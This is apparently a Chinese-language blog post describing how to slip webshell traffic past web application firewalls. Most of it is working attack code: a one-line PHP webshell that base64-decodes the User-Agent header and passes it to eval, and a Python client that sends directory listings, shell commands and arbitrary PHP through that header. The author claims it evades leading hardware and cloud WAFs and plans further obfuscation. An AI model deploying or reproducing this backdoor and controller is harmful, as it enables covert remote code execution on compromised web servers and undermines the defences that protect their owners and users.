绕过WAF检测WebShell通信

时间:2021-01-15 21:27:43

       最近换了工作,在新的环境里感觉棒棒哒~

       前一段在老公司要离职的时候事情比较少,就研究了下如何绕过市面上目前一些主流的WAF防护。针对WebShell的防护目前不管是硬件WAF还是云WAF都是基于特征通信进行防护,比如上传的时候或者返回的时候。根据我所了解的多家厂商主要还是基于GPC和Response进行防护,对于其他一些的敏感请求就有所忽略。基于这点写了一个简单的PHP WebShell和客户端,目前可以绕过市面上份额比较靠前的几家硬件WAF以及绝大多数云WAF(别听我瞎说)。原理比较简单一看就懂,主要还是针对通信做了点小手脚,属于比较low的奇技淫巧。东西比较糙后面会针对客户端进行功能拓展以及对WebShell进行加密混淆。

       先来看看WebShell的写法:

<?php
$cmd=base64_decode($_SERVER['HTTP_USER_AGENT']);
@eval("$cmd;");
?>
       然后是客户端:

#/usr/bin/env python
# coding=gbk

import sys
import httplib2
import base64

if len(sys.argv) <2 :
print 'Usage:python client.py http://127.0.0.1/shell.php 1'
print 'Help:'
print '1 : 列出程序目录'
print '2 : 执行命令'
print '3 : 执行PHP代码'
sys.exit()

def execcmd(name,command):
shell = sys.argv[1]
try:
h = httplib2.Http()
encodecmd = base64.b64encode(command)
response,content = h.request(sys.argv[1],headers={'User-Agent':encodecmd})
print '%s: %s' %(name,content)
except:
print '无法执行相关请求!'

def main():
if '1' in sys.argv[2]:
command = 'echo dirname(__FILE__)'
execcmd('本程序目录',command)
elif '2' in sys.argv[2]:
print 'example: whoami'
command = 'system(%s)' %(raw_input('请输入命令:'))
execcmd('结果回显',command)
elif '3' in sys.argv[2]:
print 'example: echo 123'
command = raw_input('请输入代码:')
execcmd('结果回显',command)
else:
sys.exit()



if __name__ == '__main__':
main()
       最后来张绕过某WAF的图:

绕过WAF检测WebShell通信